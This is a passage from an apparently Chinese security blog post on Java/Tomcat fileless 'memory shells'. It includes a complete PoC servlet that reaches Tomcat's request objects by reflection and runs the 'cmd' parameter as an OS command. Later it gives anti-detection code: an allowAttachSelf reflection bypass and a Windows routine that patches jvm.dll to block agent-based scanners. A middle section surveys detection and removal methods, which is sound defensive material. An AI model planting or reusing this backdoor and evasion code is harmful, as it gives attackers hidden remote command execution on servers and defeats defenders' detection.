1 2 3 4 5 Field connectorsField = Class.forName("org.apache.catalina.connector.Connector" ).getDeclaredField("connectors" );connectorsField.setAccessible(true ); Connector[] connectors = (Connector[]) connectorsField.get(standardService); Connector connector = connectors[0 ];
获取Handler
我们可以通过 Connector#getProtocolHandler 方法来获取对应的 protocolHandler
这里获取的 protocolHandler 是 Http11NioProtocol 对象,前面我们分析过了该类继承了 AbstractProtocol 类,下面我们再通过反射获取Handler——内部类 ConnectionHandler
1 2 3 4 5 ProtocolHandler protocolHandler = connector.getProtocolHandler();Field handlerField = Class.forName("org.apache.coyote.AbstractProtocol" ).getDeclaredField("handler" );handlerField.setAccessible(true ); org.apache.tomcat.util.net.AbstractEndpoint.Handler handler = (AbstractEndpoint.Handler) handlerField.get(protocolHandler);
获取内部类ConnectionHandler的global属性
1 2 3 4 Field globalHandler = Class.forName("org.apache.coyote.AbstractProtocol$ConnectionHandler" ).getDeclaredField("global" );globalHandler.setAccessible(true ); RequestGroupInfo global = (RequestGroupInfo) globalHandler.get(handler);
获取processor
global属性RequestGroupInfo类中的processors数组用来存储RequestInfo对象,下面我们来获取RequestInfo对象,进而获取request对象
1 2 3 4 Field processorsField = Class.forName("org.apache.coyote.RequestGroupInfo" ).getDeclaredField("processors" );processorsField.setAccessible(true ); List<RequestInfo> requestInfoList = (List<RequestInfo>) processorsField.get(global);
最后我们获取request和response对象
获取request和response
这里我选择进一步获取org.apache.catalina.connector.Request对象,因为它继承自HttpServletRequest,我们可以通过PrintWrinter类直接获取回显
java 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 Field requestField = Class.forName("org.apache.coyote.RequestInfo" ).getDeclaredField("req" );requestField.setAccessible(true ); for (RequestInfo requestInfo : requestInfoList){ org.apache.coyote.Request request = (org.apache.coyote.Request) requestField.get(requestInfo); org.apache.catalina.connector.Request http_request = (org.apache.catalina.connector.Request) request.getNote(1 ); org.apache.catalina.connector.Response http_response = http_request.getResponse(); PrintWriter writer = http_response.getWriter(); String cmd = http_request.getParameter("cmd" ); InputStream inputStream = Runtime.getRuntime().exec(cmd).getInputStream(); Scanner scanner = new Scanner (inputStream).useDelimiter("\\A" ); String result = scanner.hasNext()?scanner.next():"" ; scanner.close(); writer.write(result); writer.flush(); writer.close(); }
完整POC java 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 import org.apache.catalina.connector.Connector;import org.apache.catalina.core.ApplicationContext;import org.apache.catalina.core.StandardContext;import org.apache.catalina.core.StandardService;import org.apache.coyote.ProtocolHandler;import org.apache.coyote.RequestGroupInfo;import org.apache.coyote.RequestInfo;import org.apache.tomcat.util.net.AbstractEndpoint; import javax.servlet.ServletException;import javax.servlet.annotation.WebServlet;import javax.servlet.http.HttpServlet;import javax.servlet.http.HttpServletRequest;import javax.servlet.http.HttpServletResponse;import java.io.IOException;import java.io.InputStream;import java.io.PrintWriter;import java.lang.reflect.Field;import java.util.List;import java.util.Scanner; @WebServlet("/response") public class Tomcat_Echo_Response extends HttpServlet { @Override protected void doGet (HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { org.apache.catalina.loader.WebappClassLoaderBase webappClassLoaderBase = (org.apache.catalina.loader.WebappClassLoaderBase) Thread.currentThread().getContextClassLoader(); StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext(); System.out.println(standardContext); try { Field applicationContextField = Class.forName("org.apache.catalina.core.StandardContext" ).getDeclaredField("context" ); applicationContextField.setAccessible(true ); ApplicationContext applicationContext = (ApplicationContext) applicationContextField.get(standardContext); Field standardServiceField = Class.forName("org.apache.catalina.core.ApplicationContext" ).getDeclaredField("service" ); standardServiceField.setAccessible(true ); StandardService standardService = (StandardService) standardServiceField.get(applicationContext); Field connectorsField = Class.forName("org.apache.catalina.core.StandardService" ).getDeclaredField("connectors" ); connectorsField.setAccessible(true ); Connector[] connectors = (Connector[]) connectorsField.get(standardService); Connector connector = connectors[0 ]; ProtocolHandler protocolHandler = connector.getProtocolHandler(); Field handlerField = Class.forName("org.apache.coyote.AbstractProtocol" ).getDeclaredField("handler" ); handlerField.setAccessible(true ); org.apache.tomcat.util.net.AbstractEndpoint.Handler handler = (AbstractEndpoint.Handler) handlerField.get(protocolHandler); Field globalHandler = Class.forName("org.apache.coyote.AbstractProtocol$ConnectionHandler" ).getDeclaredField("global" ); globalHandler.setAccessible(true ); RequestGroupInfo global = (RequestGroupInfo) globalHandler.get(handler); Field processorsField = Class.forName("org.apache.coyote.RequestGroupInfo" ).getDeclaredField("processors" ); processorsField.setAccessible(true ); List<RequestInfo> requestInfoList = (List<RequestInfo>) processorsField.get(global); Field requestField = Class.forName("org.apache.coyote.RequestInfo" ).getDeclaredField("req" ); requestField.setAccessible(true ); for (RequestInfo requestInfo : requestInfoList){ org.apache.coyote.Request request = (org.apache.coyote.Request) requestField.get(requestInfo); org.apache.catalina.connector.Request http_request = (org.apache.catalina.connector.Request) request.getNote(1 ); org.apache.catalina.connector.Response http_response = http_request.getResponse(); PrintWriter writer = http_response.getWriter(); String cmd = http_request.getParameter("cmd" ); InputStream inputStream = Runtime.getRuntime().exec(cmd).getInputStream(); Scanner scanner = new Scanner (inputStream).useDelimiter("\\A" ); String result = scanner.hasNext()?scanner.next():"" ; scanner.close(); writer.write(result); writer.flush(); writer.close(); } } catch (NoSuchFieldException e) { e.printStackTrace(); } catch (ClassNotFoundException e) { e.printStackTrace(); } catch (IllegalAccessException e) { e.printStackTrace(); } } }
查杀内存马 师傅的猜想:
c0ny1 师傅 将 filterMaps 中的所有 filterMap 遍历出来,然后提供了 dumpclass,显然,如果获得目标类的 class 反编译代码,加入人为判断的模式,就可以知道 filter 代码中是否有恶意操作了。深蓝师傅魔改版本
c0ny1 和 jweny 师傅 内存马最大的特点就是储存在内存,无文件落地,那也就代表了这个类对应的 ClassLoader 目录下没有对应的 class 文件
利用 VisualVM 来监控 Mbeans 来检测内存马的思路,原理是在注册类似 Filter 的时候会触发 registerJMX 的操作来注册 mbean
宽字节安全 扫字节码的方式。
业界主要使用的两种检测方法:
基于反射的检测方法 该方法是一种轻量级的检测方法,不需要注入Java进程,主要用于检测非Agent型的内存马,由于非Agent型的内存马会在Java层新增多个类和对象,并且会修改一些已有的数组,因此通过反射的方法即可检测,但是这种方法无法检测Agent型内存马。
基于instrument机制的检测方法 该方法是一种通用的重量级检测方法,需要将检测逻辑通过attach API注入Java进程,理论上可以检测出所有类型的内存马。当然instrument不仅能用于内存马检测,java.lang.instrument是Java 1.5引入的一种可以通过修改字节码对Java程序进行监测的一种机制,这种机制广泛应用于各种Java性能检测框架、程序调试框架,如JProfiler、IntelliJ IDE等,当然近几年比较流行的RASP也是基于此类技术。
手工可以看看配置文件之类的
如何杀掉内存马 对于非Agent马两种思路:
从系统中移除该对象。(推荐)
访问时抛异常(或跳过调用),中断此次调用。
对于Agent马:retransform。
如何防止Java Agent内存马被杀 阻止后续 javaagent 加载
注入 class 到当前线程中,然后实例化注入内存马
通过执行 Java 代码来卸载掉这个 mbean 来隐藏自己
threedr3am 师傅提出了,阻止后续 javaagent 加载的方式,防止webshell 被查杀。Github项目
关键代码
java 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 try { vmObj = VirtualMachine.attach(args[0 ]); String agentpath = ZhouYu.class.getProtectionDomain().getCodeSource().getLocation().getFile(); if (vmObj != null ) { if (args.length > 1 ) { vmObj.loadAgent(agentpath, args[1 ]); } else { vmObj.loadAgent(agentpath); } } } finally { if (null != vmObj) { vmObj.detach(); } }
allowAttachSelf绕过 该思路来源于:rebeyond师傅
只是总结一下之前师傅文章中的方法,所以无分析过程。
instrument通过attach方法提供了在JVM运行时动态查看、修改Java类的功能,比如通过instrument动态注入内存马。但是在Java9及以后的版本中,默认不允许。
但是attach的时候会创建一个HotSpotVirtualMachine的父类,这个类在初始化的时候会去获取VM的启动参数,并把这个参数保存至HotSpotVirtualMachine的ALLOW_ATTACH_SELF属性中,恰好这个属性是个静态属性,所以我们可以通过反射动态修改这个属性的值。构造如下POC:
1 2 3 4 5 6 Class cls=Class.forName("sun.tools.attach.HotSpotVirtualMachine" ); Field field=cls.getDeclaredField("ALLOW_ATTACH_SELF" ); field.setAccessible(true ); Field modifiersField=Field.class.getDeclaredField("modifiers" ); modifiersField.setInt(field,field.getModifiers()&~Modifier.FINAL); field.setBoolean(null ,true );
Windos下破坏attach用JNI防检测 因为堆栈平衡原因,要考虑32位和64位,否则会使程序崩溃。
c 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 unsigned char buf[]="\xc2\x14\x00" ; HINSTANCE hModule = LoadLibrary(L"jvm.dll" ); LPVOID dst=GetProcAddress(hModule,"_JVM_EnqueueOperation@20" ); DWORD old; if (VirtualProtectEx(GetCurrentProcess(),dst, 3 , PAGE_EXECUTE_READWRITE, &old)){WriteProcessMemory(GetCurrentProcess(), dst, buf, 3 , NULL ); VirtualProtectEx(GetCurrentProcess(), dst, 3 , old, &old); }
Linux下破坏attach 把对应的UNIX Domain Socket文件删掉
结语 关于内存马的攻防,还一直在不停迭代当中,就目前而言,还并没有行之有效的对内存马查杀方法,因为当前的查杀方法都有其弊端。
内存马可以配合JNDI注入,反序列化,普通马改为内存马等方法写入。目前红队内网站稳脚跟的首选。
无文件落地攻击,内存马也不是JAVA的专属甚至不是WEB的专属,如 .NET
与 ThinkPHP
中也有,但原理大致一样,Windows中就有很大区别,但这里主要介绍的JavaWeb下,就不在过多介绍